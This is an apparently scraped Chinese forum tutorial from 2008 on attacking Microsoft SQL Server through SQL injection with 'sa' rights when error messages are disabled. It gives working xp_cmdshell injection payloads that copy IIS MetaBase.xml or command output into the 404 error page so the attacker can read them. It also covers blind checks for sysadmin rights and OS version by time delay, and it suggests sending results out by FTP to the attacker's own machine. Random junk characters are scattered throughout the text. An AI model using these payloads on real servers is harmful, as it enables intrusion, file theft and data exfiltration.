遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。
" C$ B+ @' G# `4 ^% X `! K3 W# v& ~: k
虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。
4 _1 R( H+ \7 u( z% c8 n" O& m8 Q9 c8 e2 Q3 k8 V3 r$ j
这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。
5 f' E( ~1 A. s7 P7 g6 i+ D/ t, g8 L% A+ q, {: d
IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm0 \+ M7 F1 |7 T3 u2 Z: }! B$ K
* T4 C% B' a1 A5 f- `
得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--
. r! D+ O) z, C4 B5 L" N, P. C8 }% \* G, d9 G
,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。" n3 l" J; U( I1 _) K
& }/ f( d3 _% S& L! W5 j5 h x8 R 执行命令得到回显
4 L* a5 O* _) l% O7 H* i4 |" H6 ~8 z% y* G
通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--# V2 G2 j9 Z' ~3 B8 ?
1 X) ~1 f* A; \# c 得到文件也shi相同,把文件copy到404b.htm就行了
; O% N" z1 ~! s, ~2 t4 d* r# w# J
8 m9 n" X" ^' k! V/ z8 Q by 28ice, 2008/6/26. a0 p0 _0 |$ ?7 F, h! U
& x7 A3 D. x3 A1 i9 v6 O0 T6 D& l 摘自 28度的冰
% J1 V, j5 ~" s. L& B s3 g! U. |( P6 q, M% p2 ]; f
盲注判断权限和操作系统版本1 l. z, O8 m. n% D+ H0 j
8 ]! z; v$ } p% n* l3 T5 ^/ R" h 首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?
4 y. x+ h" r: _7 ?' x( O: p$ v
3 J; G. H5 q; h- u% U0 Y7 v 最简单的,可能以用这样的方法:
# ^! b5 g7 O5 e0 y0 f& R1 ]3 w; h
& ?% o* \2 I/ g+ B8 I4 ^+ ? 1=(select IS_SRVROLEMEMBER(’sysadmin’))
9 ?3 s0 @8 U+ U% }; U; S
# d8 I4 Q! ]9 T2 i3 t5 R 当然,有些情况下,这个方法并不奏效。
9 i! j; V. E2 u* W; }
, J9 q, F6 a6 n6 ? b2 o' ?4 q% G 既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。
1 `4 k3 `8 n Q. p5 m6 ?, |: r; e1 T b- [" }' |2 D" ]
有个3办法可能以解决这个问题) s" P2 ]9 `- Y* [0 ]
: D }( F1 J6 L; k& u a.把执行结果写到404b.htm,具体请看我的上一篇文章
! u' M7 [2 I, m6 k' H$ K9 ^8 v3 q' ~. t1 B1 F
b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟) s4 W8 V- K8 E! w; Q
" {% {. d% S- t( e c.如果1433端口可能以连接,那干脆新建个sql登录
) F, }, D& i$ @4 I0 N! E
! ]6 ^! K0 z: W# }3 B( A d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数
/ ~3 L3 f( l( u3 w; X
( B# L8 e* ~* y J# @8 q/ T, r 还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下: P' G, M# G+ F# `& t
# k3 X @6 m f+ v7 f" P
很简单
$ Y S2 A. r" J, m1 M h# U- |9 L) C4 ]! s$ r5 U
执行systeminfo; v& p& `' q3 S( Q' _; ?
* Y7 w) _- R# | v
在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |